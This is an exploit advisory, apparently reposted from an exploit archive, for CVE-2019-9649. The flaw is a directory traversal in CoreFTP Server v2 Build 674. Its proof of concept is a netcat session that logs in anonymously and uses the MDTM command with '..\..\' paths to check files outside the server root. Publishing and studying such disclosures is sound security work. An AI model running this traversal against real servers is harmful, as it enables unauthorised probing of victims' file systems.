Kod:
CoreFTP Server FTP / SFTP Server 2 Build 674 MDTM Directory Traversal
CVE-2019-9649
CoreFTP FTP / SFTP Server v2 - Build 674
MDTM Directory Traversal
Discovered By: Kevin Randall
Summary: By utilizing a directory traversal along with the FTP MDTM
command, an attacker can browse outside the root directory to determine if
a file exists based on return file size along with the date the file was
last modified by using a ..\..\ technique
Tools used:
Parrot OS VM
Windows 7 VM
FTP / SFTP Server v2 - Build 674
Netcat
Proof of Concept (PoC):
File 1: ARP.exe
Type of file: Application(.EXE)
Description: TCP/IP Arp Command
Location: C:\Windows\System32\
Size: 20.5 KB (20,992 bytes)
Size on disk: 24.0 KB (24,576 bytes)
Created: Monday July 13, 2009 7:55:11 PM
Modified: Monday July 13, 2009, 9:14:12 PM
Accessed: Monday July 13, 2009 7:55:11 PM
#nc -nv 192.168.0.2 21
(UNKNOWN) [192.168.0.2] 21 (ftp) open
220 Core FTP Server Version 2.0, build 674, 32-bit, installed 1 days ago
Unregistered
USER anonymous
331 password required for anonymous
PASS anonymous@
230-Logged on
230
MDTM C:\..\..\..\..\..\..\Windows\System32\ARP.exe
213 20090713211412
# 0day.today [2019-03-12] #